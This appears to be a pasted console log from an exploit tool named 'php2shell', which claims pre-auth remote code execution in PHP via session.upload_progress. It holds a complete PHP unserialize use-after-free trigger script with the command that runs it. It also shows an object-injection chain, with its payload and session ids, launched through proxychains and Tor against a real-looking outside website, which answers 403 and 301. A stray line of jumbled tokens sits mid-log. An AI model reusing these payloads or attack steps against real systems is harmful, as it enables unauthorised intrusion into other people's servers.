┌──────────────────────────────────────────────────┐
│ php2shell CVE-2026-109618 / CVE-2026-109619 │
│ Pre-auth RCE · PHP session.upload_progress │
│ PHP 5.4.0 – 8.5.11 · CVSS 9.2 │
│ FOR AUTHORIZED TESTING ONLY │
└──────────────────────────────────────────────────┘
[*] Chain B: var_destroy __destruct reentry UAF
[*] Requires ASAN-enabled PHP (USE_ZEND_ALLOC=0)
[*] Root cause: var_destroy() frees extension chunks (line 245),
then i_zval_ptr_dtor fires __destruct WITHOUT serialize_lock.
Inner unserialize('R:1500;') reads freed var_hash → UAF.
[*] Run:
docker exec php2shell-vuln bash -c \
'USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 php /tmp/uaf.php'
[*] PHP payload:
<?php
class TriggerUAF {
public function __destruct() {
$r = @unserialize('R:1500;');
if ($r !== false) fwrite(STDERR, "[+] UAF: R:1500 read freed memory\n");
}
}
$N = 2000;
$p = 'a:' . ($N+2) . ':{';
for ($i = 0; $i < $N; $i++) $p .= "i:$i;i:$i;";
$p .= 'i:99999;O:10:"TriggerUAF":0:{}i:99999;i:42;}';
fwrite(STDERR, "[*] $N entries + UAF trigger (" . strlen($p) . " bytes)\n");
@unserialize($p);
fwrite(STDERR, "[*] Done — check ASAN output for heap-use-after-free\n");
──────────────────────────────────────────────────┐
│ php2shell CVE-2026-109618 / CVE-2026-109619 │
│ Pre-auth RCE · PHP session.upload_progress │
│ PHP 5.4.0 – 8.5.11 · CVSS 9.2 │
│ FOR AUTHORIZED TESTING ONLY │
└──────────────────────────────────────────────────┘
[*] Chain C: Handler Mismatch → __destruct → RCE
[*] Target: http://destia.fr
[*] Write: /app/nosess.php (php_serialize handler)
[*] Read: /api/gadget.php (php handler)
[*] Gadget: Pwned
[*] SID: p2sfce9c772bebbf5daf990d79
[*] Payload: X|O:5:"Pwned":0:{}
[1] Injecting Pwned object via upload_progress...
[proxychains] Dynamic chain ... 127.0.0.1:9050 ... destia.fr:80 ... OK
HTTP/1.1 403 Forbidden
[2] Triggering mismatch via php handler...
[proxychains] Dynamic chain ... 127.0.0.1:9050 ... destia.fr:80 ... OK
HTTP/1.1 403 Forbidden
[-] Mismatch not triggered
**00Revolutions202700**HPs3rs86983fde23c24c4*
HPs3rs86983fde23c24c4*
[*] Sending session.upload_progress probe (mode=passive)...
[i] Mode : passive
[i] Session id : s3rs86983fde23c24c4893bbca3e
[i] Inert canary : '<?php /* php2shell inert canary e3f549fe - NOT a shell */ ?>'
- POST http://destia.fr/index.php -> HTTP 301
[~] P1 status: session id sent, but no session cookie in response (app may use a custom session name, or upload_progress disabled).5 views